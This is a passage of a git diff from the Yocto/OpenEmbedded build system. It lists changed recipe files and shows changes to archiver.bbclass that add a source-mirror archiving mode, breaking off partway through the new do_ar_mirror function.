-rw-r--r--meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch30
-rw-r--r--meta/recipes-support/gpgme/gpgme/0008-do-not-auto-check-var-PYTHON.patch12
-rw-r--r--meta/recipes-support/gpgme/gpgme_1.13.1.bb85
-rw-r--r--meta/recipes-support/gpgme/gpgme_1.17.1.bb87
-rw-r--r--meta/recipes-support/icu/icu.inc84
-rw-r--r--meta/recipes-support/icu/icu/0001-Fix-big-endian-build.patch28
-rw-r--r--meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch14
-rw-r--r--meta/recipes-support/icu/icu/filter.json2
-rw-r--r--meta/recipes-support/icu/icu/icu-pkgdata-large-cmd.patch49
-rw-r--r--meta/recipes-support/icu/icu_64.2.bb30
-rw-r--r--meta/recipes-support/icu/icu_70.1.bb150
-rw-r--r--meta/recipes-support/iso-codes/iso-codes_4.4.bb19
-rw-r--r--meta/recipes-support/iso-codes/iso-codes_4.9.0.bb22
-rw-r--r--meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch33
-rw-r--r--meta/recipes-support/itstool/itstool/0002-Don-t-use-build-time-hardcoded-python-binary-path.patch29
-rw-r--r--meta/recipes-support/itstool/itstool_2.0.7.bb24
-rw-r--r--meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch27
-rw-r--r--meta/recipes-support/libassuan/libassuan_2.5.3.bb32
-rw-r--r--meta/recipes-support/libassuan/libassuan_2.5.5.bb38
-rw-r--r--meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb22
-rw-r--r--meta/recipes-support/libatomic-ops/libatomic-ops_7.6.12.bb22
-rw-r--r--meta/recipes-support/libbsd/libbsd_0.10.0.bb41
-rw-r--r--meta/recipes-support/libbsd/libbsd_0.11.5.bb43
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng-python_0.7.10.bb29
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng-python_0.8.2.bb28
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng.inc12
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng/determinism.patch59
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng/python.patch62
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng_0.7.10.bb18
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng_0.8.2.bb17
-rw-r--r--meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch34
-rw-r--r--meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch30
-rw-r--r--meta/recipes-support/libcap/libcap_2.27.bb75
-rw-r--r--meta/recipes-support/libcap/libcap_2.63.bb76
-rw-r--r--meta/recipes-support/libcheck/libcheck_0.12.0.bb29
-rw-r--r--meta/recipes-support/libcheck/libcheck_0.15.2.bb33
-rw-r--r--meta/recipes-support/libcroco/files/CVE-2020-12825.patch192
-rw-r--r--meta/recipes-support/libcroco/libcroco_0.6.13.bb8
-rw-r--r--meta/recipes-support/libdaemon/libdaemon_0.14.bb6
-rw-r--r--meta/recipes-support/libevdev/libevdev_1.12.0.bb17
-rw-r--r--meta/recipes-support/libevdev/libevdev_1.8.0.bb13
-rw-r--r--meta/recipes-support/libevent/libevent/0001-test-regress_dns.c-patch-out-tests-that-require-a-wo.patch37
-rw-r--r--meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch33
-rw-r--r--meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch28
-rw-r--r--meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch81
-rw-r--r--meta/recipes-support/libevent/libevent/run-ptest10
-rw-r--r--meta/recipes-support/libevent/libevent_2.1.11.bb49
-rw-r--r--meta/recipes-support/libevent/libevent_2.1.12.bb64
-rw-r--r--meta/recipes-support/libexif/libexif/CVE-2016-6328.patch64
-rw-r--r--meta/recipes-support/libexif/libexif/CVE-2017-7544.patch40
-rw-r--r--meta/recipes-support/libexif/libexif/CVE-2018-20030.patch115
-rw-r--r--meta/recipes-support/libexif/libexif_0.6.21.bb17
-rw-r--r--meta/recipes-support/libexif/libexif_0.6.24.bb24
-rw-r--r--meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch31
-rw-r--r--meta/recipes-support/libffi/libffi/0001-arm-sysv-reverted-clang-VFP-mitigation.patch104
-rw-r--r--meta/recipes-support/libffi/libffi/not-win32.patch15
-rw-r--r--meta/recipes-support/libffi/libffi_3.3~rc0.bb40
-rw-r--r--meta/recipes-support/libffi/libffi_3.4.2.bb36
-rw-r--r--meta/recipes-support/libfm/libfm-extra_1.3.1.bb23
-rw-r--r--meta/recipes-support/libfm/libfm-extra_1.3.2.bb23
-rw-r--r--meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch2
-rw-r--r--meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch2
-rw-r--r--meta/recipes-support/libfm/libfm_1.3.1.bb54
-rw-r--r--meta/recipes-support/libfm/libfm_1.3.2.bb55
-rw-r--r--meta/recipes-support/libgcrypt/files/0001-Makefile.am-add-a-missing-space.patch41
-rw-r--r--meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch90
-rw-r--r--meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch9
-rw-r--r--meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch332
-rw-r--r--meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch16
-rw-r--r--meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch178
-rw-r--r--meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch21
-rw-r--r--meta/recipes-support/libgcrypt/libgcrypt_1.8.5.bb57
-rw-r--r--meta/recipes-support/libgcrypt/libgcrypt_1.9.4.bb61
-rw-r--r--meta/recipes-support/libgit2/libgit2_1.4.2.bb22
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error/0001-Do-not-fail-when-testing-config-scripts.patch27
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error/libgpg-error-1.36-gawk5-support.patch144
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch145
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error_1.36.bb72
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error_1.44.bb41
-rw-r--r--meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch33
-rw-r--r--meta/recipes-support/libical/libical/0001-cmake-Do-not-export-CC-into-gir-compiler.patch33
-rw-r--r--meta/recipes-support/libical/libical_3.0.14.bb55
-rw-r--r--meta/recipes-support/libical/libical_3.0.6.bb43
-rw-r--r--meta/recipes-support/libjitterentropy/files/0001-fix-do_install-failure-on-oe.patch33
-rw-r--r--meta/recipes-support/libjitterentropy/libjitterentropy_2.1.2.bb28
-rw-r--r--meta/recipes-support/libjitterentropy/libjitterentropy_3.3.1.bb30
-rw-r--r--meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch134
-rw-r--r--meta/recipes-support/libksba/libksba_1.3.5.bb30
-rw-r--r--meta/recipes-support/libksba/libksba_1.6.0.bb34
-rw-r--r--meta/recipes-support/libmd/libmd_1.0.4.bb16
-rw-r--r--meta/recipes-support/libmicrohttpd/libmicrohttpd_0.9.75.bb30
-rw-r--r--meta/recipes-support/libmpc/libmpc.inc2
-rw-r--r--meta/recipes-support/libmpc/libmpc_1.1.0.bb13
-rw-r--r--meta/recipes-support/libmpc/libmpc_1.2.1.bb12
-rw-r--r--meta/recipes-support/libnl/files/enable-serial-tests.patch29
-rwxr-xr-xmeta/recipes-support/libnl/files/run-ptest16
-rw-r--r--meta/recipes-support/libnl/libnl_3.5.0.bb65
-rw-r--r--meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch41
-rw-r--r--meta/recipes-support/libpcre/libpcre/out-of-tree.patch26
-rw-r--r--meta/recipes-support/libpcre/libpcre2/pcre-cross.patch65
-rw-r--r--meta/recipes-support/libpcre/libpcre2_10.33.bb61
-rw-r--r--meta/recipes-support/libpcre/libpcre2_10.39.bb54
-rw-r--r--meta/recipes-support/libpcre/libpcre_8.43.bb76
-rw-r--r--meta/recipes-support/libpcre/libpcre_8.45.bb73
-rw-r--r--meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch31
-rw-r--r--meta/recipes-support/libproxy/libproxy/determinism.patch26
-rw-r--r--meta/recipes-support/libproxy/libproxy_0.4.15.bb39
-rw-r--r--meta/recipes-support/libproxy/libproxy_0.4.17.bb42
-rw-r--r--meta/recipes-support/libpsl/libpsl/0001-Makefile.am-use-PYTHON-when-invoking-psl-make-dafsa.patch50
-rw-r--r--meta/recipes-support/libpsl/libpsl/0001-gtk-doc-do-not-include-tree_index.sgml.patch28
-rw-r--r--meta/recipes-support/libpsl/libpsl_0.21.0.bb23
-rw-r--r--meta/recipes-support/libpsl/libpsl_0.21.1.bb25
-rw-r--r--meta/recipes-support/libseccomp/files/run-ptest4
-rw-r--r--meta/recipes-support/libseccomp/libseccomp_2.5.3.bb54
-rw-r--r--meta/recipes-support/libsoup/libsoup-2.4/0001-Do-not-enforce-no-introspection-when-cross-building.patch28
-rw-r--r--meta/recipes-support/libsoup/libsoup-2.4_2.66.4.bb42
-rw-r--r--meta/recipes-support/libsoup/libsoup-2.4_2.74.2.bb46
-rw-r--r--meta/recipes-support/libsoup/libsoup_3.0.4.bb44
-rw-r--r--meta/recipes-support/libssh2/files/0001-Don-t-let-host-enviroment-to-decide-if-a-test-is-bui.patch44
-rw-r--r--meta/recipes-support/libssh2/files/run-ptest9
-rw-r--r--meta/recipes-support/libssh2/libssh2_1.10.0.bb50
-rw-r--r--meta/recipes-support/libunistring/libunistring/0001-Unset-need_charset_alias-when-building-for-musl.patch30
-rw-r--r--meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch56
-rw-r--r--meta/recipes-support/libunistring/libunistring_0.9.10.bb30
-rw-r--r--meta/recipes-support/libunistring/libunistring_1.0.bb27
-rw-r--r--meta/recipes-support/libunwind/libunwind.inc9
-rw-r--r--meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch62
-rw-r--r--meta/recipes-support/libunwind/libunwind/0002-backtrace-Use-only-with-glibc-and-uclibc.patch45
-rw-r--r--meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch19
-rw-r--r--meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch16
-rw-r--r--meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch13
-rw-r--r--meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch27
-rw-r--r--meta/recipes-support/libunwind/libunwind_1.3.1.bb24
-rw-r--r--meta/recipes-support/libunwind/libunwind_1.6.2.bb24
-rw-r--r--meta/recipes-support/liburcu/liburcu_0.11.1.bb22
-rw-r--r--meta/recipes-support/liburcu/liburcu_0.13.1.bb24
-rw-r--r--meta/recipes-support/libusb/libusb1/no-dll.patch19
-rw-r--r--meta/recipes-support/libusb/libusb1_1.0.22.bb45
-rw-r--r--meta/recipes-support/libusb/libusb1_1.0.25.bb47
-rw-r--r--meta/recipes-support/libxslt/files/0001-Fix-security-framework-bypass.patch124
-rw-r--r--meta/recipes-support/libxslt/files/CVE-2019-13117.patch33
-rw-r--r--meta/recipes-support/libxslt/files/CVE-2019-13118.patch76
-rw-r--r--meta/recipes-support/libxslt/files/CVE-2019-18197.patch33
-rw-r--r--meta/recipes-support/libxslt/libxslt_1.1.33.bb53
-rw-r--r--meta/recipes-support/libxslt/libxslt_1.1.35.bb56
-rw-r--r--meta/recipes-support/libyaml/libyaml_0.2.2.bb18
-rw-r--r--meta/recipes-support/libyaml/libyaml_0.2.5.bb21
-rw-r--r--meta/recipes-support/lz4/files/CVE-2021-3520.patch27
-rw-r--r--meta/recipes-support/lz4/files/run-ptest43
-rw-r--r--meta/recipes-support/lz4/lz4_1.9.2.bb30
-rw-r--r--meta/recipes-support/lz4/lz4_1.9.3.bb31
-rw-r--r--meta/recipes-support/lzo/lzo_2.10.bb6
-rw-r--r--meta/recipes-support/lzop/lzop_1.04.bb5
-rw-r--r--meta/recipes-support/mpfr/mpfr_4.0.2.bb19
-rw-r--r--meta/recipes-support/mpfr/mpfr_4.1.0.bb19
-rw-r--r--meta/recipes-support/nettle/nettle-3.5.1/Add-target-to-only-build-tests-not-run-them.patch38
-rw-r--r--meta/recipes-support/nettle/nettle-3.5.1/dlopen-test.patch21
-rw-r--r--meta/recipes-support/nettle/nettle/Add-target-to-only-build-tests-not-run-them.patch45
-rw-r--r--meta/recipes-support/nettle/nettle/check-header-files-of-openssl-only-if-enable_.patch (renamed from meta/recipes-support/nettle/nettle-3.5.1/check-header-files-of-openssl-only-if-enable_.patch)0
-rw-r--r--meta/recipes-support/nettle/nettle/dlopen-test.patch29
-rw-r--r--meta/recipes-support/nettle/nettle/run-ptest (renamed from meta/recipes-support/nettle/nettle-3.5.1/run-ptest)0
-rw-r--r--meta/recipes-support/nettle/nettle_3.5.1.bb55
-rw-r--r--meta/recipes-support/nettle/nettle_3.7.3.bb57
-rw-r--r--meta/recipes-support/nghttp2/nghttp2/0001-fetch-ocsp-response-use-python3.patch27
-rw-r--r--meta/recipes-support/nghttp2/nghttp2_1.47.0.bb35
-rw-r--r--meta/recipes-support/npth/npth/0001-Revert-Fix-problem-with-regression-tests-on-recent-g.patch43
-rw-r--r--meta/recipes-support/npth/npth_1.6.bb16
-rw-r--r--meta/recipes-support/nspr/nspr/0001-md-Fix-build-with-musl.patch31
-rw-r--r--meta/recipes-support/nspr/nspr/0002-Add-nios2-support.patch102
-rw-r--r--meta/recipes-support/nspr/nspr/Makefile.in-remove-_BUILD_STRING-and-_BUILD_TIME.patch103
-rw-r--r--meta/recipes-support/nspr/nspr/fix-build-on-x86_64.patch52
-rw-r--r--meta/recipes-support/nspr/nspr/nspr.pc.in11
-rw-r--r--meta/recipes-support/nspr/nspr/remove-rpath-from-tests.patch26
-rw-r--r--meta/recipes-support/nspr/nspr/remove-srcdir-from-configure-in.patch19
-rw-r--r--meta/recipes-support/nspr/nspr_4.23.bb193
-rw-r--r--meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb10
-rw-r--r--meta/recipes-support/nss/nss/0001-nss-fix-support-cross-compiling.patch48
-rw-r--r--meta/recipes-support/nss/nss/blank-cert9.dbbin28672 -> 0 bytes
-rw-r--r--meta/recipes-support/nss/nss/blank-key4.dbbin36864 -> 0 bytes
-rw-r--r--meta/recipes-support/nss/nss/disable-Wvarargs-with-clang.patch33
-rw-r--r--meta/recipes-support/nss/nss/nss-fix-incorrect-shebang-of-perl.patch110
-rw-r--r--meta/recipes-support/nss/nss/nss-fix-nsinstall-build.patch36
-rw-r--r--meta/recipes-support/nss/nss/nss-no-rpath-for-cross-compiling.patch26
-rw-r--r--meta/recipes-support/nss/nss/nss.pc.in11
-rw-r--r--meta/recipes-support/nss/nss/pqg.c-ULL_addend.patch23
-rw-r--r--meta/recipes-support/nss/nss/signlibs.sh20
-rw-r--r--meta/recipes-support/nss/nss/system-pkcs11.txt5
-rw-r--r--meta/recipes-support/nss/nss_3.45.bb267
-rw-r--r--meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch32
-rw-r--r--meta/recipes-support/numactl/numactl/Fix-the-test-output-format.patch64
-rw-r--r--meta/recipes-support/numactl/numactl/Makefile7
-rwxr-xr-xmeta/recipes-support/numactl/numactl/run-ptest23
-rw-r--r--meta/recipes-support/numactl/numactl_git.bb59
-rw-r--r--meta/recipes-support/p11-kit/p11-kit_0.23.18.1.bb44
-rw-r--r--meta/recipes-support/p11-kit/p11-kit_0.24.1.bb32
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch100
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch153
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.2.0/gpg-error_pkconf.patch195
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.2.0/libassuan_pkgconf.patch170
-rw-r--r--meta/recipes-support/pinentry/pinentry_1.1.0.bb38
-rw-r--r--meta/recipes-support/pinentry/pinentry_1.2.0.bb36
-rw-r--r--meta/recipes-support/popt/popt/disable_tests.patch21
-rw-r--r--meta/recipes-support/popt/popt/pkgconfig_fix.patch15
-rw-r--r--meta/recipes-support/popt/popt/popt_fix_for_automake-1.12.patch21
-rw-r--r--meta/recipes-support/popt/popt_1.16.bb22
-rw-r--r--meta/recipes-support/popt/popt_1.18.bb16
-rw-r--r--meta/recipes-support/ptest-runner/ptest-runner_2.3.2.bb28
-rw-r--r--meta/recipes-support/ptest-runner/ptest-runner_2.4.2.bb34
-rw-r--r--meta/recipes-support/re2c/re2c_1.0.1.bb14
-rw-r--r--meta/recipes-support/re2c/re2c_3.0.bb16
-rw-r--r--meta/recipes-support/rng-tools/rng-tools/rngd.service22
-rw-r--r--meta/recipes-support/rng-tools/rng-tools_6.15.bb59
-rw-r--r--meta/recipes-support/rng-tools/rng-tools_6.7.bb52
-rw-r--r--meta/recipes-support/serf/serf/0001-buckets-ssl_buckets.c-do-not-use-ERR_GET_FUNC.patch28
-rw-r--r--meta/recipes-support/serf/serf/SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch2
-rw-r--r--meta/recipes-support/serf/serf_1.3.9.bb13
-rw-r--r--meta/recipes-support/shared-mime-info/files/0001-migrate-from-custom-itstool-to-builtin-msgfmt-for-cr.patch70
-rw-r--r--meta/recipes-support/shared-mime-info/shared-mime-info.inc37
-rw-r--r--meta/recipes-support/shared-mime-info/shared-mime-info/install-data-hook.patch25
-rw-r--r--meta/recipes-support/shared-mime-info/shared-mime-info/parallelmake.patch33
-rw-r--r--meta/recipes-support/shared-mime-info/shared-mime-info_1.10.bb7
-rw-r--r--meta/recipes-support/shared-mime-info/shared-mime-info_git.bb31
-rw-r--r--meta/recipes-support/sqlite/sqlite3.inc24
-rw-r--r--meta/recipes-support/sqlite/sqlite3_3.30.0.bb8
-rw-r--r--meta/recipes-support/sqlite/sqlite3_3.38.0.bb14
-rw-r--r--meta/recipes-support/taglib/taglib/CVE-2017-12678.patch40
-rw-r--r--meta/recipes-support/taglib/taglib/CVE-2018-11439.patch51
-rw-r--r--meta/recipes-support/taglib/taglib_1.11.1.bb44
-rw-r--r--meta/recipes-support/taglib/taglib_1.12.bb42
-rw-r--r--meta/recipes-support/user-creation/xuser-account_0.1.bb6
-rw-r--r--meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch13
-rw-r--r--meta/recipes-support/vim/files/disable_acl_header_check.patch17
-rw-r--r--meta/recipes-support/vim/files/no-path-adjust.patch29
-rw-r--r--meta/recipes-support/vim/files/racefix.patch33
-rw-r--r--meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch13
-rw-r--r--meta/recipes-support/vim/vim-tiny_8.2.bb (renamed from meta/recipes-support/vim/vim-tiny_8.1.1518.bb)0
-rw-r--r--meta/recipes-support/vim/vim.inc66
-rw-r--r--meta/recipes-support/vim/vim_8.1.1518.bb10
-rw-r--r--meta/recipes-support/vim/vim_8.2.bb19
-rw-r--r--meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch42
-rw-r--r--meta/recipes-support/vte/vte/0001-Makefile.docs-correctly-substitute-gtkdoc-qemu-wrapp.patch24
-rw-r--r--meta/recipes-support/vte/vte/0001-app.cc-use-old-school-asignment-to-avoid-gcc-4.8-err.patch27
-rw-r--r--meta/recipes-support/vte/vte/0002-Add-W_EXITCODE-macro-for-non-glibc-systems.patch59
-rw-r--r--meta/recipes-support/vte/vte_0.58.2.bb56
-rw-r--r--meta/recipes-support/vte/vte_0.66.2.bb62
-rw-r--r--meta/recipes-support/xxhash/xxhash_0.8.1.bb25
-rw-r--r--meta/site/arm-3214
-rw-r--r--meta/site/arm-6414
-rw-r--r--meta/site/arm-common6
-rw-r--r--meta/site/common7
-rw-r--r--meta/site/common-glibc13
-rw-r--r--meta/site/common-linux8
-rw-r--r--meta/site/common-musl19
-rw-r--r--meta/site/ix86-common20
-rw-r--r--meta/site/mips-common14
-rw-r--r--meta/site/mips-linux3
-rw-r--r--meta/site/mips64-linux3
-rw-r--r--meta/site/mips64el-linux3
-rw-r--r--meta/site/mipsel-linux3
-rw-r--r--meta/site/mipsisa32r6-linux3
-rw-r--r--meta/site/mipsisa32r6el-linux3
-rw-r--r--meta/site/mipsisa64r6-linux3
-rw-r--r--meta/site/mipsisa64r6el-linux3
-rw-r--r--meta/site/nios2-linux21
-rw-r--r--meta/site/powerpc32-linux29
-rw-r--r--meta/site/powerpc32-linux-glibc8
-rw-r--r--meta/site/powerpc32-linux-musl2
-rw-r--r--meta/site/powerpc64-linux1
-rw-r--r--meta/site/powerpc64-linux-glibc2
-rw-r--r--meta/site/powerpc64-linux-musl1
-rw-r--r--meta/site/sh-common21
-rw-r--r--meta/site/x86_64-linux17
4209 files changed, 195542 insertions, 160197 deletions
diff --git a/meta/classes/allarch.bbclass b/meta/classes/allarch.bbclass
index 5bd5c44a27..a766a654a9 100644
--- a/meta/classes/allarch.bbclass
+++ b/meta/classes/allarch.bbclass
@@ -61,3 +61,5 @@ python () {
bb.error("Please ensure recipe %s sets PACKAGE_ARCH before inherit packagegroup" % d.getVar("FILE"))
}
+def qemu_wrapper_cmdline(data, rootfs_path, library_paths):
+ return 'false'
diff --git a/meta/classes/archiver.bbclass b/meta/classes/archiver.bbclass
index 093e2d95af..c19c770d11 100644
--- a/meta/classes/archiver.bbclass
+++ b/meta/classes/archiver.bbclass
@@ -2,25 +2,42 @@
# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
#
# This bbclass is used for creating archive for:
-# 1) original (or unpacked) source: ARCHIVER_MODE[src] = "original"
-# 2) patched source: ARCHIVER_MODE[src] = "patched" (default)
-# 3) configured source: ARCHIVER_MODE[src] = "configured"
-# 4) The patches between do_unpack and do_patch:
-# ARCHIVER_MODE[diff] = "1"
-# And you can set the one that you'd like to exclude from the diff:
-# ARCHIVER_MODE[diff-exclude] ?= ".pc autom4te.cache patches"
-# 5) The environment data, similar to 'bitbake -e recipe':
-# ARCHIVER_MODE[dumpdata] = "1"
-# 6) The recipe (.bb and .inc): ARCHIVER_MODE[recipe] = "1"
-# 7) Whether output the .src.rpm package:
-# ARCHIVER_MODE[srpm] = "1"
-# 8) Filter the license, the recipe whose license in
-# COPYLEFT_LICENSE_INCLUDE will be included, and in
-# COPYLEFT_LICENSE_EXCLUDE will be excluded.
-# COPYLEFT_LICENSE_INCLUDE = 'GPL* LGPL*'
-# COPYLEFT_LICENSE_EXCLUDE = 'CLOSED Proprietary'
-# 9) The recipe type that will be archived:
-# COPYLEFT_RECIPE_TYPES = 'target'
+# 1) original (or unpacked) source: ARCHIVER_MODE[src] = "original"
+# 2) patched source: ARCHIVER_MODE[src] = "patched" (default)
+# 3) configured source: ARCHIVER_MODE[src] = "configured"
+# 4) source mirror: ARCHIVER_MODE[src] = "mirror"
+# 5) The patches between do_unpack and do_patch:
+# ARCHIVER_MODE[diff] = "1"
+# And you can set the one that you'd like to exclude from the diff:
+# ARCHIVER_MODE[diff-exclude] ?= ".pc autom4te.cache patches"
+# 6) The environment data, similar to 'bitbake -e recipe':
+# ARCHIVER_MODE[dumpdata] = "1"
+# 7) The recipe (.bb and .inc): ARCHIVER_MODE[recipe] = "1"
+# 8) Whether output the .src.rpm package:
+# ARCHIVER_MODE[srpm] = "1"
+# 9) Filter the license, the recipe whose license in
+# COPYLEFT_LICENSE_INCLUDE will be included, and in
+# COPYLEFT_LICENSE_EXCLUDE will be excluded.
+# COPYLEFT_LICENSE_INCLUDE = 'GPL* LGPL*'
+# COPYLEFT_LICENSE_EXCLUDE = 'CLOSED Proprietary'
+# 10) The recipe type that will be archived:
+# COPYLEFT_RECIPE_TYPES = 'target'
+# 11) The source mirror mode:
+# ARCHIVER_MODE[mirror] = "split" (default): Sources are split into
+# per-recipe directories in a similar way to other archiver modes.
+# Post-processing may be required to produce a single mirror directory.
+# This does however allow inspection of duplicate sources and more
+# intelligent handling.
+# ARCHIVER_MODE[mirror] = "combined": All sources are placed into a single
+# directory suitable for direct use as a mirror. Duplicate sources are
+# ignored.
+# 12) Source mirror exclusions:
+# ARCHIVER_MIRROR_EXCLUDE is a list of prefixes to exclude from the mirror.
+# This may be used for sources which you are already publishing yourself
+# (e.g. if the URI starts with 'https://mysite.com/' and your mirror is
+# going to be published to the same site). It may also be used to exclude
+# local files (with the prefix 'file://') if these will be provided as part
+# of an archive of the layers themselves.
#
# Create archive for all the recipe types
@@ -33,14 +50,20 @@ ARCHIVER_MODE[diff] ?= "0"
ARCHIVER_MODE[diff-exclude] ?= ".pc autom4te.cache patches"
ARCHIVER_MODE[dumpdata] ?= "0"
ARCHIVER_MODE[recipe] ?= "0"
+ARCHIVER_MODE[mirror] ?= "split"
+ARCHIVER_MODE[compression] ?= "xz"
DEPLOY_DIR_SRC ?= "${DEPLOY_DIR}/sources"
-ARCHIVER_TOPDIR ?= "${WORKDIR}/deploy-sources"
+ARCHIVER_TOPDIR ?= "${WORKDIR}/archiver-sources"
ARCHIVER_OUTDIR = "${ARCHIVER_TOPDIR}/${TARGET_SYS}/${PF}/"
ARCHIVER_RPMTOPDIR ?= "${WORKDIR}/deploy-sources-rpm"
ARCHIVER_RPMOUTDIR = "${ARCHIVER_RPMTOPDIR}/${TARGET_SYS}/${PF}/"
ARCHIVER_WORKDIR = "${WORKDIR}/archiver-work/"
+# When producing a combined mirror directory, allow duplicates for the case
+# where multiple recipes use the same SRC_URI.
+ARCHIVER_COMBINED_MIRRORDIR = "${ARCHIVER_TOPDIR}/mirror"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_SRC}/mirror"
do_dumpdata[dirs] = "${ARCHIVER_OUTDIR}"
do_ar_recipe[dirs] = "${ARCHIVER_OUTDIR}"
@@ -96,7 +119,7 @@ python () {
d.appendVarFlag('do_deploy_archives', 'depends', ' %s:do_ar_patched' % pn)
elif ar_src == "configured":
# We can't use "addtask do_ar_configured after do_configure" since it
- # will cause the deptask of do_populate_sysroot to run not matter what
+ # will cause the deptask of do_populate_sysroot to run no matter what
# archives we need, so we add the depends here.
# There is a corner case with "gcc-source-${PV}" recipes, they don't have
@@ -106,6 +129,8 @@ python () {
elif hasTask("do_configure"):
d.appendVarFlag('do_ar_configured', 'depends', ' %s:do_configure' % pn)
d.appendVarFlag('do_deploy_archives', 'depends', ' %s:do_ar_configured' % pn)
+ elif ar_src == "mirror":
+ d.appendVarFlag('do_deploy_archives', 'depends', '%s:do_ar_mirror' % pn)
elif ar_src:
bb.fatal("Invalid ARCHIVER_MODE[src]: %s" % ar_src)
@@ -139,7 +164,7 @@ python () {
d.appendVarFlag('do_package_write_rpm', 'depends', ' %s:do_ar_configured' % pn)
}
-# Take all the sources for a recipe and puts them in WORKDIR/archiver-work/.
+# Take all the sources for a recipe and put them in WORKDIR/archiver-work/.
# Files in SRC_URI are copied directly, anything that's a directory
# (e.g. git repositories) is "unpacked" and then put into a tarball.
python do_ar_original() {
@@ -169,7 +194,13 @@ python do_ar_original() {
del decoded[5][param]
encoded = bb.fetch2.encodeurl(decoded)
urls[i] = encoded
- fetch = bb.fetch2.Fetch(urls, d)
+
+ # Cleanup SRC_URI before call bb.fetch2.Fetch() since now SRC_URI is in the
+ # variable "urls", otherwise there might be errors like:
+ # The SRCREV_FORMAT variable must be set when multiple SCMs are used
+ ld = bb.data.createCopy(d)
+ ld.setVar('SRC_URI', '')
+ fetch = bb.fetch2.Fetch(urls, ld)
tarball_suffix = {}
for url in fetch.urls:
local = fetch.localpath(url).rstrip("/");
@@ -251,7 +282,10 @@ python do_ar_configured() {
# ${STAGING_DATADIR}/aclocal/libtool.m4, so we can't re-run the
# do_configure, we archive the already configured ${S} to
# instead of.
- elif pn != 'libtool-native':
+ # The kernel class functions require it to be on work-shared, we
+ # don't unpack, patch, configure again, just archive the already
+ # configured ${S}
+ elif not (pn == 'libtool-native' or is_work_shared(d)):
def runTask(task):
prefuncs = d.getVarFlag(task, 'prefuncs') or ''
for func in prefuncs.split():
@@ -281,6 +315,78 @@ python do_ar_configured() {
create_tarball(d, srcdir, 'configured', ar_outdir)
}
+python do_ar_mirror() {
+ import subprocess
+
+ src_uri = (d.getVar('SRC_URI') or '').split()
+ if len(src_uri) == 0:
+ return
+
+ dl_dir = d.getVar('DL_DIR')
+ mirror_exclusions = (d.getVar('ARCHIVER_MIRROR_EXCLUDE') or '').split()
+ mirror_mode = d.getVarFlag('ARCHIVER_MODE', 'mirror')
+ have_mirror_tarballs = d.getVar('BB_GENERATE_MIRROR_TARBALLS')
+
+ if mirror_mode == 'combined':
+ destdir = d.getVar('ARCHIVER_COMBINED_MIRRORDIR')
+ elif mirror_mode == 'split':
+ destdir = d.getVar('ARCHIVER_OUTDIR')
+ else:
+ bb.fatal('Invalid ARCHIVER_MODE[mirror]: %s' % (mirror_mode))
+
+ if not have_mirror_tarballs:
+ bb.fatal('Using `ARCHIVER_MODE[src] = "mirror"` depends on setting `BB_GENERATE_MIRROR_TARBALLS = "1"`')
+
